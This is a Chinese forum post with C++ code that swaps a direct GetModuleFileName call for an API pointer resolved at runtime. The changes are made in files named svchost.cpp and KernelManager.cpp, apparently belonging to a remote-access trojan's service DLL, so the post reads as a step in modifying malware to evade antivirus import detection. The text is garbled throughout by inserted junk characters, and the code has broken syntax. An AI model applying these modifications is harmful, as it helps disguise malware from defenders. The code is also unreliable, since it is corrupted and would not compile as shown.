返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 r6 L+ \2 S% S" s/ q, R8 n
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
/ y( s/ U' b+ C+ Y7 a----------------------------------------; b/ n9 N% B1 [- M7 q' X0 K
DTDY.h:
5 W  ?0 t0 R% j' c: o2 L; E0 k: R! k& \) A8 E) S" t% c( z; a
#if _MSC_VER>1000
  ^* T8 U. M9 V( E# F- ]0 x+ @#pragma once' D: B/ C) |/ w6 Y
#endif //_MSC_VER>1000
! X+ P- g* M- Q5 }4 P& w; r#include<windows.h>% R: b& V# T4 v) ^: q/ N+ W$ g
3 Q7 ^' p% u5 N! u
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# K) G  M, l( j2 k3 n
class DTDY  ^5 W# z! }: g& k" h7 w
{( T6 V- }+ j  V4 z
public:
& b* W5 C( @0 y) K: IDTDY();6 M4 x0 e1 r: T5 }1 k$ X4 h
virtual ~DTDY();
# w! i! K; Y+ A( mpublic:
- d. j! r+ _/ U' istatic pGetModuleFileNameA MyGetModuleFileName;4 H2 Y+ x# S$ C4 n. t
static BOOL FunInitiallization();
1 G! J! i* Q* N4 A0 I$ O};& I& J8 w9 e1 I3 K/ H5 A  T: G
#endif/ y# q: z/ P- t' l. i- f
----------------------------------------9 c' J% j" i! \5 {3 L6 D

- d7 Y0 d$ d2 V2 ~' T. \DTDY.cpp:- N3 X+ _: u, @- e4 w; L+ p0 Z

" y# B' @3 J& H$ j& U- N1 }/ T% G7 Q& q#include "DTDY.h"; I, @9 ?& [9 S' l) j# M# D
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
; l1 z: ^7 ~# v: Y/ HDTDY:TDY(). n. L- }( I* A( U
{5 M+ q' N8 D5 u5 N/ A
}$ R) G' l# Q. v9 `' m; r2 D
DTDY::~DTDY()
6 C# \0 m6 Y9 |0 b& L( z5 X{
: _, _7 Y& `+ j}
5 q! ?: w# K* M- v2 FBOOL DTDY::FunInitiallization()
$ |" c/ l" V. R# q6 g1 O3 q{& i6 _7 k4 X- g
HMODULE hModule=LoadLibrary("kernel32.dll");
5 F- q3 d& o" Y  ZMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");) [+ j$ r9 u2 k7 g. P
if(!MyGetModuleFileName=) return FALSE;
  L, a1 w; i) P" e# I5 y+ J8 `: a- k+ i8 g' E' \/ O
return TRUE;
- }; {! s$ J  Y% H+ S& Z% W}
% k' p- W$ \4 W' s7 S# _6 c5 m----------------------------------------' C1 w+ w6 z& s$ z  O
svchost.cpp:- j/ q- z+ a" h3 i, u
- w  O, P2 s" {; t3 P1 s' i! A7 ?
#include "DTDY.h"6 p6 P$ V5 j( Z% a7 _

' I3 p! |# C9 [BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)* b/ ~3 s0 c4 B
{8 |/ F& J. a+ w' x4 `4 y' Z& m
switch(ul_reason_for_call)7 Q- E# @/ u8 J  Y' K" v1 \# W
{
& p3 F% d6 r! Ncase DLL_PROCESS_ATTACH:
6 t  O& l' i" t3 t6 ~( Cif(!DTDY::FunInitiallization()) return FALSE;" i/ T; @" h' q9 u0 i
* C8 T. T% E+ W7 H
break;0 W; t; @3 Z7 |: E5 v: a( o
}
; I4 t6 d, a* C( t0 w5 X; a}+ j2 ^! q- T0 b1 ]6 V
9 U; _  x/ @7 Y( H. H

+ o/ L2 u5 g# `. @7 LGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
5 r7 j- ~& _( r/ Y3 C0 L9 g. p, D改写为
" u- V. C; V2 H) H  ~; @DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));& ?/ S0 |. Z4 g' x  V
----------------------------------------  r' a1 s0 h: k( v* h( s8 |
KernelManager.cpp:
/ r  X5 y' X% g& r$ d
; M# @5 |* Y( [* K% V0 D2 I: D#include "../DTDY.h"* ]' W' O% Z. h$ ~  r
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* M8 \) n( S. |$ t7 `7 H改写为1 _# w- m5 b# |$ {, L  E
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));* L6 F9 o7 t3 I& t) ^. y% D
----------------------------------------

返回列表